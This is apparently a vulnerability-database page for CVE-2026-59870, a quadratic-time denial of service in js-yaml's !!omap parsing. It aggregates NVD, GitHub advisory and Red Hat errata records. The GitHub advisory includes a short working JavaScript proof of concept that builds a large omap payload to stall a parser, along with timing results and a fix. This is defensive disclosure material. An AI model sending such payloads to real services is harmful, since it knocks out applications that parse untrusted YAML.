Vulnerability-Lookup

CVE-2026-59870 (GCVE-0-2026-59870)

Vulnerability from cvelistv5 – Published: 2026-07-08 15:13 – Updated: 2026-07-08 15:50

Title

js-yaml quadratic-complexity denial of service via YAML11_SCHEMA !!omap parsing

Summary

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. This issue is fixed in version 5.2.1.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-08 15:50 UTC

CWE

CWE-407 - Inefficient Algorithmic Complexity

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/nodeca/js-yaml/security/adviso…	x_refsource_CONFIRM
https://github.com/nodeca/js-yaml/commit/39f3211a…	x_refsource_MISC
https://github.com/nodeca/js-yaml/releases/tag/5.2.1	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
nodeca	js-yaml	Affected: >= 5.0.0, < 5.2.1

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-59870

Vulnerability from fkie_nvd - Published: 2026-07-08 16:16 - Updated: 2026-07-10 19:20

Severity

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/nodeca/js-yaml/commit/39f3211a2f01b3c6982710cf21434ab7060acefe	Patch
security-advisories@github.com	https://github.com/nodeca/js-yaml/releases/tag/5.2.1	Release Notes
security-advisories@github.com	https://github.com/nodeca/js-yaml/security/advisories/GHSA-724g-mxrg-4qvm	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/nodeca/js-yaml/security/advisories/GHSA-724g-mxrg-4qvm	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	nodeca	js-yaml	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "js-yaml",
          "vendor": "nodeca",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 5.0.0, \u003c 5.2.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nodeca:js-yaml:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "364B7995-9A39-4BB4-92C4-B0D7A946F16B",
              "versionEndExcluding": "5.2.1",
              "versionStartIncluding": "5.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. This issue is fixed in version 5.2.1."
    }
  ],
  "id": "CVE-2026-59870",
  "lastModified": "2026-07-10T19:20:49.153",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-59870",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-08T15:50:31.265965Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-08T16:16:33.580",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/nodeca/js-yaml/commit/39f3211a2f01b3c6982710cf21434ab7060acefe"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/nodeca/js-yaml/releases/tag/5.2.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-724g-mxrg-4qvm"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-724g-mxrg-4qvm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-407"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-724G-MXRG-4QVM

Vulnerability from github – Published: 2026-07-20 21:18 – Updated: 2026-07-20 21:18

Summary

js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA

Details

Summary

js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.

Details

In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
    create: () => [],
    addItem: (container, item) => {
        // ...
        for (const existing of container)   // O(n) per insertion!
            if (hasOwnProperty(existing, itemKeys[0]))
                return 'cannot resolve an ordered map item';
        container.push(object);             // n insertions → O(n^2) total
        return '';
    }
});

For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.

PoC (runtime-confirmed on v5.2.0)

const yaml = require('js-yaml');
function buildOmapPayload(n) {
  let p = '!!omap\n';
  for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
  return p;
}
// Timing results on v5.2.0:
// n=1000:  9ms
// n=5000:  73ms  (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10613ms          ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });

Impact

Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).

This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).

Fix

Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
    create: () => ({ list: [], seen: new Set() }),
    addItem: (state, item) => {
        const key = Object.keys(item)[0];
        if (state.seen.has(key)) return 'duplicate omap key';
        state.seen.add(key);
        state.list.push(item);
        return '';
    },
    resolve: (state) => state.list
});

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:18:51Z",
    "nvd_published_at": "2026-07-08T16:16:33Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n`js-yaml` v5.x introduces `YAML11_SCHEMA` support with the `!!omap` (ordered map) tag. The `omapTag.addItem()` function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses `yaml.load()` with `{ schema: yaml.YAML11_SCHEMA }`.\n\n### Details\nIn `src/tag/sequence/omap.ts` (compiled: `dist/js-yaml.cjs.js:510-525`):\n```js\nvar omapTag = defineSequenceTag(\u0027tag:yaml.org,2002:omap\u0027, {\n    create: () =\u003e [],\n    addItem: (container, item) =\u003e {\n        // ...\n        for (const existing of container)   // O(n) per insertion!\n            if (hasOwnProperty(existing, itemKeys[0]))\n                return \u0027cannot resolve an ordered map item\u0027;\n        container.push(object);             // n insertions \u2192 O(n^2) total\n        return \u0027\u0027;\n    }\n});\n```\nFor a document with `n` unique entries, insertion i scans i\u22121 existing entries, yielding 1+2+\u2026+n = **O(n\u00b2)** total work.\n\n### PoC (runtime-confirmed on v5.2.0)\n```js\nconst yaml = require(\u0027js-yaml\u0027);\nfunction buildOmapPayload(n) {\n  let p = \u0027!!omap\\n\u0027;\n  for (let i = 0; i \u003c n; i++) p += \u0027- key\u0027 + i + \u0027: val\u0027 + i + \u0027\\n\u0027;\n  return p;\n}\n// Timing results on v5.2.0:\n// n=1000:  9ms\n// n=5000:  73ms  (5x n \u2192 8x time)\n// n=10000: 255ms (2x n \u2192 3.5x time \u2014 supralinear)\n// n=20000: 997ms (2x n \u2192 3.9x time \u2014 O(n\u00b2) confirmed)\n// n=50000: 10613ms          \u2190 blocks event loop for \u003e10 seconds\nyaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });\n```\n\n### Impact\nAny application that parses untrusted YAML using `yaml.load(input, { schema: yaml.YAML11_SCHEMA })` is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).\n\nThis affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including `!!omap`. The 4.x series is unaffected (no `YAML11_SCHEMA` export).\n\n### Fix\nReplace the O(n) linear scan in `addItem` with an O(1) `Set`-based lookup:\n```js\nvar omapTag = defineSequenceTag(\u0027tag:yaml.org,2002:omap\u0027, {\n    create: () =\u003e ({ list: [], seen: new Set() }),\n    addItem: (state, item) =\u003e {\n        const key = Object.keys(item)[0];\n        if (state.seen.has(key)) return \u0027duplicate omap key\u0027;\n        state.seen.add(key);\n        state.list.push(item);\n        return \u0027\u0027;\n    },\n    resolve: (state) =\u003e state.list\n});\n```",
  "id": "GHSA-724g-mxrg-4qvm",
  "modified": "2026-07-20T21:18:51Z",
  "published": "2026-07-20T21:18:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-724g-mxrg-4qvm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59870"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/39f3211a2f01b3c6982710cf21434ab7060acefe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/5.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA"
}

RHSA-2026:26994

Vulnerability from csaf_redhat - Published: 2026-06-18 05:28 - Updated: 2026-09-30 16:57

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Severity

Important

Scope

6 vulnerabilities in this advisory, including CVE-2026-59870.

CVE-2026-59870

A flaw was found in js-yaml, a JavaScript YAML (YAML Ain't Markup Language) parser. An attacker could exploit this by providing a specially crafted YAML ordered-map document. This could lead to excessive CPU consumption, resulting in a denial of service (DoS) for applications processing the malicious YAML input.

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 3 products

https://access.redhat.com/errata/RHSA-2026:26994

Open the full advisory

RHSA-2026:33866

Vulnerability from csaf_redhat - Published: 2026-06-30 22:56 - Updated: 2026-10-02 17:41

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Severity

Important

Scope

10 vulnerabilities in this advisory, including CVE-2026-59870.

CVE-2026-59870

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 4 products

https://access.redhat.com/errata/RHSA-2026:33866

Open the full advisory

RHSA-2026:34478

Vulnerability from csaf_redhat - Published: 2026-07-01 18:55 - Updated: 2026-10-02 17:41

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Severity

Important

Scope

9 vulnerabilities in this advisory, including CVE-2026-59870.

CVE-2026-59870

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 4 products

https://access.redhat.com/errata/RHSA-2026:34478

Open the full advisory

RHSA-2026:34975

Vulnerability from csaf_redhat - Published: 2026-07-02 15:43 - Updated: 2026-09-29 22:30

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Severity

Important

Scope

24 vulnerabilities in this advisory, including CVE-2026-59870.

CVE-2026-59870

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 4 products

https://access.redhat.com/errata/RHSA-2026:34975

Open the full advisory

RHSA-2026:35272

Vulnerability from csaf_redhat - Published: 2026-07-03 05:27 - Updated: 2026-10-02 17:42

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Severity

Important

Scope

9 vulnerabilities in this advisory, including CVE-2026-59870.

CVE-2026-59870

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 4 products

https://access.redhat.com/errata/RHSA-2026:35272

Open the full advisory

RHSA-2026:7378

Vulnerability from csaf_redhat - Published: 2026-04-10 13:03 - Updated: 2026-10-02 04:40

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Severity

Important

Scope

21 vulnerabilities in this advisory, including CVE-2026-59870.

CVE-2026-59870

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 4 products

https://access.redhat.com/errata/RHSA-2026:7378

Open the full advisory

RHSA-2026:7655

Vulnerability from csaf_redhat - Published: 2026-04-11 00:49 - Updated: 2026-09-30 17:04

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Severity

Important

Scope

5 vulnerabilities in this advisory, including CVE-2026-59870.

CVE-2026-59870

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 3 products

https://access.redhat.com/errata/RHSA-2026:7655

Open the full advisory

RHSA-2026:9455

Vulnerability from csaf_redhat - Published: 2026-04-21 17:31 - Updated: 2026-09-18 22:40

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Severity

Important

Scope

14 vulnerabilities in this advisory, including CVE-2026-59870.

CVE-2026-59870

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 4 products

https://access.redhat.com/errata/RHSA-2026:9455

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-59870 (GCVE-0-2026-59870)

Summary

Details

PoC (runtime-confirmed on v5.2.0)

Impact

Fix

Tags

Sightings

Nomenclature

Related by attack behaviour